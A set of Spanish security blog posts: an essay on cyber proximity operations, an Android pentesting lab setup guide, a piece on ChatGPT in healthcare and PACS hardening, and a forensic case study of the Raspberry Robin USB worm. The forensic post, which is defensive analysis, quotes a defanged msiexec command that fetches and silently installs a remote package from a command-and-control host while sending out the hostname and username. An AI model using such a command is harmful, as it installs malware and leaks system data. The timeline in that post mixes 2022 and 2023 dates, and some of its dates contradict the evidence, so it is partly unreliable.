Cuando no todo estaba conectado a Internet, las operaciones de proximidad eran casi la única vía de acceso a los sistemas o la información del objetivo; para robar información había que colocar un micro o una cámara colándose por la noche en un edificio, modificando una cadena de suministro o situándose en un edificio enfrente de las instalaciones del objetivo, por poner unos ejemplos. Algunas de las acciones de adquisición de inteligencia de señales requerían esta proximidad, y esta proximidad evidentemente implicaba un riesgo significativo de ser neutralizado, con todas las implicaciones que esta neutralización puede tener. Algunos ejemplos muy conocidos de operaciones de proximidad para adquisición de inteligencia de señales implican (presuntamente) a la DGSE francesa implantando micros en los asientos business de los vuelos de Air France entre París y Nueva York, a los soviéticos (presuntamente) regalando un Gran Sello con un implante al embajador estadounidense en la URSS o a alemanes y estadounidenses (presuntamente) manipulando dispositivos de cifra de Crypto AG en la operación Rubicon.

Pero llega un momento en el que tenemos tantas cosas conectadas a Internet que podemos realizar operaciones completas de ataque o explotación a través de la red, de manera remota, sin exponernos físicamente a ser neutralizados -o al menos, exponiéndonos menos-. Por este motivo las operaciones de proximidad empiezan a perder protagonismo frente a las operaciones remotas: en el terreno ciber, las más habituales son éstas, frente a las operaciones que requieren esa proximidad física. Entre otros muchos beneficios, las operaciones remotas entrañan menos riesgos para el actor que las ejecuta y, como hemos dicho, en la mayor parte de casos cumplen con sus objetivos.

No obstante, en algunos casos las operaciones remotas tienen poca probabilidad de éxito, son excesivamente complejas o simplemente no se pueden abordar desde un punto de vista técnico. Es en estos casos en los que pueden entrar en juego las operaciones de proximidad. Como hemos dicho, las operaciones de proximidad son aquellas que requieren una cercanía física con el objetivo. La proximidad puede ser humana, mediante un operador, o mecánica, mediante un dispositivo que se aproxime físicamente al objetivo, como un UXV.

Frente a las operaciones remotas, las operaciones de proximidad apenas han sido analizadas por la industria y la comunidad científica. Apenas hay literatura técnica que las describa o discuta, y por supuesto la información que sale (voluntariamente) de los servicios de inteligencia en relación con sus capacidades es nula. No obstante, sí es público -gracias a los papeles de Snowden- que la NSA estadounidense tiene capacidades para realizar ciber operaciones de proximidad (por ejemplo, COTTONMOUTH o HOWLERMONKEY requieren cierta proximidad para ser implantados), que ejecuta estas operaciones (por ejemplo, a través del programa TAREX) y que colabora con otras agencias de la comunidad estadounidense para realizar dichas operaciones (por ejemplo, dentro del programa Sentry Osprey o a través del Special Collection Service).

Y si la información públicamente disponible en relación con las capacidades de proximidad en el ciberespacio es escasa, la disponible acerca de las propias operaciones de proximidad aún lo es menos. La única operación de este tipo que ha visto la luz ha sido la realizada por el GRU ruso en La Haya, contra la Organización para la Prohibición de las Armas Químicas (Organisation for the Prohibition of Chemical Weapons), en 2018. Esta operación fue neutralizada por la inteligencia holandesa y sus detalles expuestos públicamente por el director del MIVD.

Adicionalmente a los servicios de inteligencia, grupos ligados al ciber crimen también disponen de capacidades de proximidad, y las propias empresas proveedoras ofrecemos también servicios de auditoría física que implican acciones de proximidad (lo que se llama black team). No tan habituales ni tan demandados como los servicios remotos, pero necesarios en ocasiones.

Los dos elementos que definen las operaciones de proximidad en el ciberespacio son la aproximación que realiza el actor hostil a su objetivo y el artefacto técnico que emplea para la acción (bug o implante). La aproximación tiene tres características fundamentales: la relación entre actor hostil y objetivo (intruso o insider), el transporte utilizado para la acción (humano o mecánico) y el punto donde se ejecuta el compromiso (cadena de suministro u operación). Por su parte, el artefacto también tiene tres características fundamentales: el tipo de implante (hardware, software o sin implante), la proximidad con el objetivo (directo o cercano) y la interacción con éste (pasiva o activa). Con estos elementos podemos caracterizar las operaciones de proximidad en el ciberespacio y también las operaciones de proximidad dirigidas a la adquisición de inteligencia de señales.

Esta caracterización sencilla de las operaciones de proximidad, o las acciones de proximidad en general, no se contempla de manera especial en MITRE ATT&CK, donde tampoco se hace hincapié en tácticas o técnicas que puedan abordarse con acciones de proximidad. MITRE ATT&CK únicamente cita algunas técnicas particulares que implican o pueden implicar proximidad: por ejemplo, “Hardware Additions” para el acceso inicial o ”Exfiltration Over Physical Medium” para el caso de la exfiltración. Aunque esta falta de foco en las operaciones de proximidad por parte de la principal referencia a la hora de identificar tácticas y técnicas hostiles (y sus contramedidas) puede tener una explicación lógica, y es que es más probable ser víctima de una operación remota que serlo de una operación de proximidad, al no estar referenciadas en este marco de trabajo, algunas organizaciones no las considerarán entre sus amenazas y por tanto no desplegarán salvaguardas para mitigarlas.

Resumiendo, una operación de proximidad es, como su nombre indica, aquella que requiere cierta proximidad entre actor hostil y objetivo: un actor hostil que accede a las instalaciones de su objetivo para implantar un router, ese mismo actor que rompe la cadena de suministro para implantar ese mismo router, ese mismo actor utilizando un UAV para comprometer una WiFi del objetivo… Hoy en día tenemos un nivel de conectividad muy elevado, lo que favorece el éxito de las operaciones remotas y por tanto reduce el número de operaciones de proximidad. No obstante, éstas existen, alguna es públicamente conocida, y diferentes actores (servicios, grupos delincuenciales, empresas…) tienen capacidades para desarrollarlas cuando se evalúan como la mejor opción.

Por último, una curiosidad sobre las operaciones de proximidad: el concepto “proximidad” no está definido en ningún sitio (o no lo he encontrado). ¿Qué es “proximidad”? ¿Contacto directo? ¿Un metro? ¿Un kilómetro? Sin entrar en formalismos, podemos definir como “proximidad” la distancia física entre un actor hostil y su objetivo que permite a éste detectar o neutralizar a dicho actor hostil. Aunque habitualmente esta distancia es del orden de metros, con los mecanismos de transporte mecánicos, por ejemplo, con un dron, esta distancia puede incrementarse hasta los kilómetros.

La entrada Operaciones de proximidad en el ciberespacio aparece primero en Security Art Work.

El primer paso es la creación de un entorno de trabajo para comenzar una auditoria de aplicaciones móviles en Android. Para ello, veremos varios emuladores de dispositivos móviles y elegiremos uno en el cual montaremos nuestro entorno.

Algunos emuladores en el mercado

Empecemos por explicar que es un emulador. Esta palabra procede del vocablo latino aemulātor (emula), es decir, algo que imita el funcionamiento de otra cosa. Wikipedia lo define de la siguiente forma: “En informática, un emulador es un software que permite ejecutar programas o videojuegos en una plataforma (sea una arquitectura de hardware o un sistema operativo) diferente de aquella para la cual fueron escritos originalmente. A diferencia de un simulador, que solo trata de reproducir el comportamiento del programa, un emulador trata de modelar de forma precisa el dispositivo de manera que este funcione como si estuviese siendo usado en el aparato original”.

Una vez explicado este concepto procedemos a nombrar algunos de estos emuladores que nos podemos encontrar en el mercado:

• Android Studio: Iniciamos la lista con el software sobre el que montaremos nuestro entorno. En este caso, nos encontramos ante una herramienta oficial y no tenemos que preocuparnos del adware (software diseñado para mostrar anuncios en la pantalla) o de que incluyan decenas de aplicaciones preinstaladas.

• Genymotion: Otro de los emuladores más popular y que, además, ofrece tanto una versión de escritorio como en la nube, consumiendo muchos menos recursos del ordenador. La única “pega” es que está centrada en desarrolladores por lo que puede parecer un poco más compleja para el usuario básico. Además, comentar que en esta ocasión nos encontramos con un programa limitado en su parte gratis y con todas las funciones en su tarifa de pago.

• BlueStacks: Es de las herramientas más veteranas y conocidas para emular. En este caso, nos encontramos con una interfaz adaptada para escritorio del ordenador, por lo que no lo veríamos como un móvil por ello se suele utilizar para jugar principalmente.

• NOX: Otro emulador centrado en el gaming.

• Visual Studio: Emulador gratuito, rápido y dispone de varios perfiles de dispositivos que permiten emular una gran variedad de hardware de Android.

• MEmu Play: Es otra alternativa centrada en los juegos, es decir, toda la experiencia e interfaz está adaptada para poder jugar a juegos de Android en un PC.

Instalación del emulador Android Studio

Como hemos comentado, nosotros vamos a elegir Android Studio como emulador de este entorno, pero sois libres de utilizar cualquiera de los anteriormente expuestos. Nuestra maquina anfitriona será un Windows.

Procedemos a buscar en Google “Android developer studio” y nos muestra lo siguiente:

Os facilitamos el link por si queréis ir directamente a la página: https://developer.android.com/studio

En la página pulsamos “Download Android Studio Electrio Eel” para que inicie la descarga del instalador.

Nos saldrá un cuadro con las condiciones y términos legales donde deberemos marcar el consentimiento y darle a “Download Android Studio Electrio Eel | 2022.1.1 Patch 2 for Windows” y ahora sí, iniciará la descarga.

Como podemos ver en la siguiente imagen, nos descarga un fichero “.exe”, en el cual haremos doble clic para iniciar la instalación.

A continuación se abrirá el panel de instalación y pulsaremos en “Next” para ir a la siguiente vista.

En la siguiente ventana nos mostrará los componentes que se van a instala. Estos los dejamos como muestran por defecto y pulsamos en “Next”.

A continuación, nos mostrará la ruta donde se instalará indicando que debe tener como mínimo 500 MB de espacio libre. En “Browser” podremos modificar dicha ruta por defecto si así lo consideramos.

Posteriormente, nos preguntarán si queremos crear un acceso directo como se muestra a continuación.

Cuando se complete la descarga pulsaremos en “Next”.

Por último, en la siguiente pantalla pulsaremos en “Finish”.

Una vez terminamos la instalación básica, comenzamos con la configuración de la herramienta dándole a “Next”.

Seleccionamos la instalación “Standard” debido a que con esta es suficiente y nos ahorrará tiempo y algún que otro dolor de cabeza.

En el siguiente apartado, seleccionamos el tema que queremos usar, por defecto vienen dos instalados: el tema claro y oscuro.  En nuestro caso será “Darcula”.

Y procedemos a la instalación de los complementos necesarios para el uso de la herramienta dándole a “Next”.

Aceptamos los términos y condiciones y “Finish”.

Veremos como inicia la descarga de los paquetes y cuando termine pulsaremos en “Finish”.

Una vez terminamos la instalación se nos abre el panel de los proyectos.

En el desplegable seleccionaremos “More Actions” y posteriormente seleccionaremos la opción “Virtual Device Manager” para crear nuestro dispositivo Android:

AVISO!! A veces esta opción se encuentra bloqueada. Si esto sucede, lo que haremos será seleccionar la opción SDK Manager que se encuentra justo encima:

Se nos abrirá la siguiente ventana, donde tendremos que comprobar dos cosas principalmente:

1. La ruta “Android SDK Location” si aparece en rojo será porque la ruta no es válida y deberemos proporcionarle una admitida.

• En la pestaña “SDK Tools” tenemos que revisar que tengamos instalado el paquete “Android SDK Build-Tools 33”. Si no es el caso, deberemos seleccionar el cuadrado de la izquierda del paquete y darle a “OK” para que se descargue e instale.

A modo informativo, en la pestaña “SDK Platforms” podemos ver y descargar las distintas versiones de Android que podemos instalar en los dispositivos emulados.

Volvemos a la opción anteriormente comentada “Virtual Device Manager” para empezar con la creación del dispositivo.

Se abrirá la siguiente ventana y seleccionaremos el botón “Create device” o en el link con el mismo nombre situado en el centro del cuerpo de la venta.

Se nos mostrará la siguiente ventana con las categorías y las características de los dispositivos que podemos encontrar en la plataforma.

Podremos ver como los todos los modelos de móvil presentan una columna llamada “Play Store” donde aparecerá o no, el logo de esta aplicación en dependencia de si lo trae instalado o no. Esta característica nos facilitará la instalación de aplicaciones que estén en esta plataforma.

En la captura siguiente veremos que nuestra elección será un modelo Pixel 4 con la aplicación de Play Store instalada y le daremos a “Next”.

En la siguiente vista seleccionaremos la versión de Android que queramos instalar. En la parte superior veremos tres pestañas que nos indican las imágenes recomendadas, las que son x86 y otras imágenes.

Seleccionaremos la imagen de la versión de Android que queremos instalar y la descargaremos pulsando en la flecha que aparece a la derecha del nombre de la versión. En este caso, hemos elegido Android 8.0 (Google APIS) que además tiene instalado el servicio de Google Play y con una arquitectura x86_64 y le daremos a “Next”.

Aceptaremos el acuerdo de licencia y pulsaremos en “Next”.

Cuando termine de instalar todos los componentes seleccionados pulsaremos en “Finish”.

Posteriormente nos mostrará una ventana con el resumen de las características del dispositivo que hemos configurado y aquí, en “AVD Name”, podremos cambiar el nombre del terminal emulado y le daremos a “Finish”.

Una vez cargado el dispositivo nos mostrará una ventana donde podremos arrancarlo, ver dónde está guardado, editar la configuración y ver la configuración del terminal. En la imagen resaltamos el botón de arranque.

Y veremos cómo se nos abre una ventana nueva con el terminal con el móvil en funcionamiento.

Instalación y ejecución de Android Debug Bridge (ADB)

Android Debug Bridge es una herramienta de línea de comandos que nos permite comunicarnos con el dispositivo móvil y ejecutar múltiples instrucciones para realizar distintas acciones como puede ser acceder al interior del dispositivo, copiar o eliminar información, instalar o desinstalar aplicaciones, etc.

Al descargar Android Studio, generalmente se incluye dentro de la carpeta “SDK Tools” que mencionamos anteriormente bajo el nombre de “platform-tools”.

En cualquier caso, si no la encontráis la podéis obtener en el siguiente enlace para su descarga:

https://developer.android.com/studio/releases/platform-tools

Una vez localizada o descargada, accederemos a dicha carpeta y abriremos un cmd.

La ruta suele ser: C:\Users\USUARIO\AppData\Local\Android\Sdk\platform-tools

Ejecutaremos adb.exe para ver las posibles opciones que tiene la herramienta.

Desde la misma consola, podremos utilizar algunos de los siguientes comandos:

• adb devices: Lista los emuladores que actualmente se encuentran conectados en el sistema.

• adb root/unroot: Reinicia el cliente con permisos (root) o sin permisos de root (unroot). Es importante destacar que para la realización de la mayoría de las acciones es necesario que seamos root.

• adb push/pull [path_to_file]: Este comando nos permite enviar un archivo desde el ordenador al dispositivo móvil (push) y del dispositivo móvil al ordenador (pull).
• adb install/uninstall [path_to_apk]: Para instalar (install) o desinstalar una aplicación (uninstall).
• adb shell: Permite acceder al dispositivo por consola (recordar que Android es un sistema Linux, por lo que los comandos serán los mismos que empleamos en nuestra Kali).

• adb reboot: Fuerza un reinicio del dispositivo.

Instalación de Android Debug Bridge

En caso de no tener Android Debug Bridge instalado, a continuación, mostramos los pasos a seguir para descargarlo. Podemos realizar la descarga desde el siguiente link: https://developer.android.com/studio/releases/platform-tools

En nuestro caso, pulsaremos sobre “Cómo descargar las herramientas de la plataforma SDK para Windows” como se puede ver en la siguiente imagen.

Aceptaremos los términos y condiciones del contrato, pulsaremos sobre “Descargar Android SDK Plataform-Tools para Windows” y se descargará con zip con las herramientas.

Descomprimimos el .zip que se habrá guardado en nuestra carpeta de descargas o la que tengamos configurada para descargas.

Entramos en la carpeta “platform-tools”.

Vemos que está el ejecutable “adb.exe”, abrimos un cmd y ejecutamos “adb.exe”.

Llegados a este punto volveríamos al apartado anterior “Instalación y ejecución de Android Debug Bridge”.

Hasta aquí tendríamos montado nuestro entorno de pruebas con el emulador móvil funcionando.

Referencias

• https://www.genymotion.com/download/
• https://developer.android.com/studio/run/managing-avds?hl=es-419
• https://developer.android.com/studio/command-line/adb?hl=es-419
• https://visualstudio.microsoft.com/es/vs/msft-android-emulator/

La entrada Pentesting en Android (I): Configuración del entorno aparece primero en Security Art Work.

Si todavía no conoces ChatGPT, debes saber que es una herramienta desarrollada por OpenAI especializada en el diálogo. Es un chatbot. Es decir, tú introduces una entrada de texto y ChatGPT genera un texto coherente que responde a lo que le hayas escrito.

Pues bien, ChatGPT también se puede usar en salud. Pero, ¿a qué nos referimos con “en salud”? “En salud” significa que puede aplicarse en cualquier ámbito que afecte a la salud de las personas, ya sea para desarrollar un nuevo software que mejore la gestión sanitaria de un hospital como para preguntar dudas desde casa sobre nuestro bienestar.

Se han desarrollado varios proyectos utilizando IA enfocados en salud. Algunos de ellos implementan los mismos modelos de ChatGPT y otros se basan en tecnología propia, todos ellos teniendo en cuenta la comunicación con el paciente.

Triaje de pacientes con IA

El triaje es un proceso que selecciona y clasifica a los pacientes según el tipo de urgencia, esto es esencial cuando la demanda y las necesidades clínicas superan a los recursos. Existen varios proyectos donde se utiliza la IA para realizar un triaje eficiente en los centros de salud y hospitales.

Uno de estos ejemplos es el Proyecto React del Hospital Universitario Virgen del Rocío, donde mediante un algoritmo avanzado de optimización y sistemas de información hospitalarios se tienen en cuenta factores como la frecuentación, la variabilidad, la distribución de horas y niveles de gravedad. De esta manera se ordenan los recursos, los turnos de trabajo y la gestión de la espera.

Otro ejemplo es la empresa Mediktor, nacida en Barcelona en 2011. La empresa ha desarrollado una herramienta de triaje y prediagnóstico mediante inteligencia artificial que se está implantando cada vez en más sistemas sanitarios como aseguradoras u hospitales entre otros.

Predicción de demencia y alzheimer con GPT-3

Otro ejemplo de implementación de la ia en este ámbito es el estudio realizado por investigadores de la universidad de Drexel donde demostraron que el programa GPT-3 de OpenAI puede identificar pistas del habla espontánea con un 80% de precisión en la predicción de las primeras etapas de la demencia y del alzheimer. Este estudio demuestra que existe un gran potencial para desarrollar herramientas impulsadas por inteligencia artificial para el diagnóstico temprano de la demencia y proporcionar intervenciones personalizadas directas a las necesidades individuales.

Generación de plan clínico

El último proyecto presentado es Glass AI, una herramienta en desarrollo para la plataforma glass que utiliza IA para elaborar un diagnóstico o un plan clínico a partir de una entrada de texto sobre un problema clínico de un paciente. Esta herramienta no está destinada para el público general sino para médicos y personal sanitario capacitados para interpretar la salida ya que puede resultar incompleta, incorrecta o sesgada. Por tanto, sería una herramienta de soporte muy útil para el personal clínico cualificado.

ChatGPT en nuestra vida

La realidad es que ChatGPT ya forma parte de nuestras vidas casi como una herramienta imprescindible. Así que, ¿cómo nos puede ayudar actualmente para tomar decisiones sobre nuestra salud en nuestro día a día? Como ChatGPT utiliza el aprendizaje profundo para interactuar con los pacientes y brindarles información de salud personalizada, podemos realizarle preguntas sobre nuestro bienestar o incluso por síntomas que estemos sufriendo.

Esta tecnología tiene un gran potencial para mejorar la eficiencia y la calidad de la atención médica. Hemos hecho algunos ejemplos para mostrar cómo puede ChatGPT informarnos sobre qué hacer en determinadas situaciones. Las ventajas que tiene ChatGPT es la rapidez en sus respuestas y que no es necesario el desplazamiento hasta un centro sanitario para obtener una respuesta. Una gran ayuda para el sistema sanitario para descongestionar sus servicios y poder ofrecer una buena atención clínica.

En el primer caso, le contamos que nos hemos quemado la mano con la bandeja del horno y si es necesario que vayamos al hospital. Y una de las primeras cosas que nos dice ChatGPT es que evaluemos la quemadura, es decir si es leve o grave. Si es grave nos aconseja que busquemos atención médica lo antes posible. Sin embargo, si es leve, nos da varios consejos para reducir el dolor y curar correctamente la quemadura. Además, ChatGPT siempre remarca que la figura del personal sanitario es la que puede darte mejores consejos.

En este segundo caso, le comentamos que en los resultados de un análisis de sangre nos ha salido el colesterol alto y le preguntamos cómo podemos reducirlo. ChatGPT nos ofrece medidas generales para controlar el colesterol e información sobre la dieta y el ejercicio adecuados para mantener una buena salud, pero remarcando de nuevo la figura del médico.

Estos ejemplos demuestran cómo ChatGPT puede utilizarse para brindar información personalizada, precisa y detallada a los pacientes sobre temas de salud y enfermedad, lo que puede mejorar la comprensión del paciente y, en última instancia, mejorar la calidad y la eficiencia de la atención médica, evitando la saturación de los centros sanitarios.

ChatGPT en ciberseguridad en salud

Otra de las múltiples aplicaciones que puede tener ChatGPT es en ámbito de la ciberseguridad. En este artículo nos vamos a centrar en la ciberseguridad aplicada al sector sanitario.

Pongamos, por ejemplo, que una organización con un PACS (Picture Archiving and Communication System) no tiene implantada ninguna medida de seguridad, pero quiere comenzar a proteger su información. Como la empresa todavía no tiene conocimientos de ciberseguridad en este ámbito, se podría empezar preguntando a ChatGPT qué debería hacer para proteger un PACS. La respuesta generada por la herramienta nos proporciona recomendaciones generales acerca de cómo asegurarlo.

En nuestro caso utilizamos Orthanc, una herramienta de código abierto. Como queremos medidas más específicas, le preguntamos concretando con nuestro software y cómo protegerlo.

ChatGPT nos contesta de manera general de nuevo, pero buscamos líneas más concretas. Así que le preguntamos de nuevo.

Una de las medidas que nos llaman la atención es la de Limitar el acceso remoto. Profundizamos en cómo realizar esto preguntando a ChatGPT el procedimiento para ello. Y nos responde cómo limitar el acceso de las diferentes modalidades (máquinas de diagnóstico de imagen médica). 

Comprobamos que realmente esos son los pasos adecuados, poniéndolos en práctica en nuestro Orthanc. Para ello, seguimos las instrucciones proporcionadas por ChatGPT, abriendo primero el archivo de configuración “orthanc.json” y dirigiéndonos al apartado “DicomModalities”. Así que vamos a por ese archivo cuando nos damos cuenta del primer obstáculo. No sabemos dónde está localizado este archivo, así que le preguntamos a ChatGPT.

En nuestro caso utilizamos Linux, así que buscamos si efectivamente está en la ruta “/etc/orthanc/orthanc.json”. Y, ¡sí que está!

Antes de modificar el archivo comprobamos si una imagen médica que tenemos de una ecografía (US, Ultrasound) se envía correctamente. La manera de comprobarlo es que no nos aparezca ningún error.

Ahora sí que vamos a editar el archivo y reiniciamos el servicio Orthanc, como nos ha indicado ChatGPT anteriormente. Añadimos el fragmento que nos ha dicho en el punto 3, permitiendo solo el envío de imágenes de TACs (CT) y Resonancias Magnéticas (MR), por tanto no nos debería aceptar la imagen que hemos enviado anteriormente.

A continuación, lanzamos el mismo comando que antes con la ecografía y nos aparece que esta conexión se rechaza. Consiguiendo limitar la conexión remota únicamente a las modalidades que queremos, en este caso TACs y Resonancias Magnéticas.

Por otro lado, se le puede preguntar que otras acciones se pueden realizar para limitar el acceso mediante el archivo “orthanc.json”. Donde nos listará varias de las entradas que pueden ser modificadas y para qué sirven cada una de ellas.

Se debe tener en cuenta que las instrucciones de ChatGPT no siempre son correctas y pueden contener fallos o estar sujetas a versiones antiguas y que hayan cambiado los procedimientos, pero sigue siendo una herramienta de ayuda muy rápida. También es importante tener en cuenta los datos que se envían a ChatGPT considerando que no sean sensibles o con información confidencial.

Controversia con chatGPT

Hemos visto las aplicaciones que tiene ChatGPT en salud y las ventajas que supone. Pero es normal que aparezca la duda de si estas tecnologías sustituirán a las personas en un futuro. Una reciente noticia afirma que las respuestas de ChatGPT sobre medicina son más certeras que las de los médicos, pero, ¿hasta qué punto esto es real o seguirá siéndolo?

No debemos olvidar que ChatGPT sigue siendo un modelo de aprendizaje, es decir, ha aprendido a decir cuáles son las respuestas correctas y tiene más capacidad de conocimiento que una persona. Además, actualmente, la información recogida por ChatGPT está actualizada hasta septiembre 2021, por tanto, esta información puede quedar obsoleta con el paso del tiempo si no se actualiza. Sin embargo, y lo más importante, ChatGPT no es humano. El modelo carece de guía ética y de juicio clínico. No tiene empatía y las personas suelen preferir el contacto humano a la hora de gestionar sus problemas.

Por estas razones, ChatGPT es una herramienta muy útil pero que debe utilizarse como una herramienta de soporte y no de sustitución. Es decir, una herramienta que ayude al personal sanitario a gestionar tareas repetitivas o realizar una primera aproximación a falta de una revisión profesional.

Conclusión

En conclusión, ChatGPT es una tecnología prometedora que tiene el potencial de mejorar significativamente la eficiencia y la calidad de la atención médica, especialmente en la promoción de la salud y la prevención de enfermedades, así como en la educación de la salud. A medida que la tecnología continúa evolucionando, es probable que veamos una mayor integración de ChatGPT en este campo en el futuro, pero siempre como una herramienta de apoyo y no como sustitución de nuestros profesionales sanitarios.

Referencias

• https://www.rocheplus.es/innovacion/investigacion-ciencia/ChatGPT.html
• https://journals.plos.org/digitalhealth/article?id=10.1371/journal.pdig.0000168
• https://www.mediktor.com/es
• https://www.clinicbarcelona.org/noticias/el-hospital-clinic-firma-un-acuerdo-con-mediktor-para-validar-su-aplicacion-que-permite-desarrollar-un-triaje-mas-eficiente
• https://GPT3demo.com/apps/glass-ai-health
• HealthITAnalytics: “Adventist Health Leverages AI-Powered Chatbot for Diabetes Care”
• https://www.mdpi.com/2227-9032/11/6/887
• https://www.insider.com/chatGPT-passes-medical-exam-diagnoses-rare-condition-2023-4

La entrada Aplicación de ChatGPT al ámbito de la salud aparece primero en Security Art Work.

Principalmente, es liderado por DEV-0243 (DEV-0206 and DEV-0243: An “evil” partnership), aunque se ha visto usado por actores como DEV-0950 (FIN11/TA505). Este despliega el ransomware Clop en la última etapa. Red Canary (Raspberry Robin gets the worm early) y Microsoft (A new worm hatches: Raspberry Robin’s initial propagation via USB drives) publicaron extensos artículos sobre las técnicas, tácticas y procedimientos ejecutados por Raspberry Robin.

Cabe destacar el uso de ingeniería social a la hora de ejecutar el segundo stage debido a que, desde Windows 7, autorun está deshabilitado por defecto. Este paso es ejecutado mediante un fichero .lnk de forma consciente por el usuario. Dicho fichero es camuflado con el nombre o marca del medio extraíble.

Por ejemplo: USB DISK (16GB).lnk, Kingston.lnk, Unidad USB.lnk (Figura 1).

Killchain

La killchain ejecutada por Raspberry Robin se muestra en la Figura 2.

• Usuario hace click en un fichero .lnk mediante ingeniería social. El fichero se puede llamar, por ejemplo, Unidad USB.lnk y estar en el directorio raíz del medio extraíble.
• El fichero .lnk ejecuta un cmd.exe que posee como parámetro otro fichero con dos ejecuciones:
  • explorer.exe para abrir el medio extraíble del usuario, nombre de una persona o el propio fichero .lnk Múltiples artículos no han sabido el propósito de esta ejecución.
  • msiexec.exe para contactar contra el C2C que descarga y ejecuta una DLL maliciosa.
• Contacto contra C2C en la red TOR mediante la DLL.

Para obtener más información de la persistencia se pueden consultar los artículos de Red Canary y Microsoft. Este artículo está enfocado a un caso práctico de análisis forense de las primeras etapas de Raspberry Robin.

Análisis forense

A la hora de realizar un análisis forense de un activo, es necesario acotar el evento en el tiempo. El evento puede provenir de una alerta SIEM, consola de EDR/Antivirus, conexión anómala en el firewall, aviso por parte del usuario etc. De este modo, las acciones que crearon la alerta deberán estar antes del evento. En muchas ocasiones, hay activos con un gran ciclo de vida y es crucial acotar la hora del incidente.

En este caso que nos concierne, el activo a analizar no estaba integrado en SIEM ni EDR. El usuario avisó de múltiples alertas de antivirus a lo largo de mayo. El objetivo de este análisis fue identificar el dispositivo o medio extraíble, así como el usuario que iniciaron la infección. Fue necesario realizar un triaje del equipo para saber su procedencia. De este modo, se empezó analizando las alertas que correspondían a Microsoft Defender en el fichero Microsoft-Windows-Windows-Defender Operational.evtx Figuras 3, 4.

La primera alerta corresponde al 22 de abril de 2022 a las 16:11:48. Esta fecha será importante a lo largo del análisis. El antivirus Microsoft Defender bloqueó la siguiente ejecución:

C\Windows\System32\msiexec . exe /q −ihxxP ://mIrW [ . ] Wf:8080/zNzxV2Wku44<HOSTNAME>?<USER>

La alerta proporciona la firma Trojan:Win32/Cerobgar.A. Sin embargo, la ejecución indica también el dominio hxxp://mirw[.]wf:8080. Con este indicador, ya clasificado en fuentes abiertas, es trivial identificar la amenaza Raspberry Robin. Además, los artículos de Red Canary y Microsoft identifican de forma directa dicha amenaza.

El nombre del activo así como el usuario son exfiltrados. Las opciones usadas son:

• /q indica ejecución sin interfaz de usuario, por lo tanto, no habrá interacción.
• -i Instalación del paquete msi remoto.

Notemos que el objetivo de este comando es seguir el proceso de infección. El post de Red Canary desgrana a la perfección los diferentes stages. Los C2C utilizados por Raspberry Robin son servidores QNAP (NAS) comprometidos (Figuras 5 y 6).

La alerta de antivirus es el primer artefacto que ha sido analizado. En nuestro caso, La MFT es una evidencia básica que analizar. Hay que recordar que la primera alerta de Microsoft Defender es el 22 de abril a las 16:11:48 UTC. A partir de aquí habrá que analizar los eventos causantes de la alerta. En ese mismo día y hora, la MFT muestra los siguientes ficheros creados.

En primer lugar, hay una creación de ficheros de log en Microsoft Defender. Estos ficheros de log son creados a la misma hora que se genera la alerta. Un minuto más tarde se crea el fichero AJ2109240970.lnk (RecentLink). Por lo tanto, antes de abrir el fichero AJ2109240970, el usuario ha hecho alguna acción para generar la alerta. Veamos también la creación de un fichero Prefetch de Microsoft Photos a las 16:12. De este modo, podemos deducir que el fichero AJ2109240970 se trata de una imagen abierta.

El principal vector de entrada de Raspberry Robin es un medio extraíble, por lo que el día 22 de mayo se debió insertar un dispositivo de este tipo. La Figura 8 muestra las conexiones de medios extraíbles. En este caso, la información ha sido obtenida mediante el log Setupapi y hives SYSTEM, SOFTWARE, NTUSER.DAT y Amcache.hve.

Matizar que hay dos dispositivos, Generic SD/MMC USB (E:\, D:\) y USB SanDisk 3.2Gen 1 USB Device (G:\). La primera conexión de ambos fue el día 22 de abril. Esto indica que uno de los  dos medios extraíbles tiene el fichero .lnk que ha sido ejecutado por el usuario.

Un artefacto interesante para evidenciar la navegación por el sistema de ficheros son las claves shellbags (Figura 9). Su valor es obtenido del hive NTUSER.DAT del usuario a investigar.

El día 22 de abril a las 16:11:48 accedió a la unidad D:\. En este mismo instante se disparó la alerta de Microsoft Defender. De este modo, el fichero .lnk debería estar dentro de la unidad D:\ que corresponde a una tarjeta SD (Generic SD/MMC USB). La clave de registro UserAssist es un buen punto de comienzo para saber las ejecuciones del usuario en el sistema de ficheros. La Figura 10 muestra este valor.

Notemos que el fichero D:\Unidad USB.lnk es accedido a las 16:11:47, un segundo antes de la ejecución del msiexec que generó la alerta en Microsoft Defender. Por lo tanto, se puede evidenciar que la tarjeta SD está infectada con Raspberry Robin. Además, es posible evidenciar la ejecución del msiexec con el artefacto Amcache.hve del usuario (Figura 11).

Otro punto interesante es saber si la unidad USB con etiqueta G:\ está infectada. El 17 de mayo a las 07:57:17 se produce un acceso a G:\. Sin embargo, no es posible realizar una correlación directa con una alerta de Microsoft Defender. La última alerta de este fue el 16 de mayo.

Un artefacto para identificar al usuario serían los registros Windows. El fichero Security.evtx nos indica eventos 4624, autenticación satisfactoria, del usuario que insertó el medio extraíble y ejecuto el fichero D:\Unidad USB.lnk. Este punto es importante debido al uso del activo por dos usuarios. Ver Figura 12.

De este modo, el dispositivo infectado ha sido identificado y el usuario que lo insertó debido a la horquilla temporal de autenticaciones.

Timeline

Para poner un orden cronológico de los hechos ocurridos en el activo, es importante obtener un timeline del análisis de las evidencias.

• 22/04/2022 07:03:03. Primera conexión Generic SD/MMC USB Device. Unidades E:\, D:\
• 22/04/2022 15:30:28. Primera conexión USB SanDisk 3.2Gen1 USB Device. Unidad G:\
• 22/04/2022 16:11:47. Click en D:\Unidad USB.lnk
• 22/04/2022 16:11:48. Alerta Microsoft Defender Trojan:Win32/Cerobgar.A
• 22/04/2022 16:11:57. Acceso directorio en D:\Unidad USB\FOTOS
• 22/04/2022 16:12:00. Múltiples alertas Trojan:Win32/Cerobgar.A y conexiones de Generic SD/MMC USB Device (Unidades E:\ y D:\).
• 13/05/2023 07:35:12. Autenticación exitosa usuario, credenciales cacheadas (11).
• 13/05/2022 07:41:35. Ultima conexión Generic SD/MMC USB Device. Unidades E:\, D:\
• 15/05/2022 08:57:57. Ultima desconexión Generic SD/MMC USB Device (Unidades E:\, y D:\)
• 15/05/2023 08:08:25. Autenticación exitosa usuario, credenciales cacheadas (11).
• 15/05/2022 – 16/05/2022. Múltiples alertas Trojan:Win32/Cerobgar.A
• 17/05/2023 07:02:32. Autenticación exitosa usuario, credenciales cacheadas (11)
• 17/05/2022 07:54:58. Ultima conexión USB SanDisk 3.2Gen1 USB Device (Unidad G:\)
• 17/05/2022 10:00:54. Ultima desconexión USB SanDisk 3.2Gen1 USB Device (Unidad G:\)

Conclusión

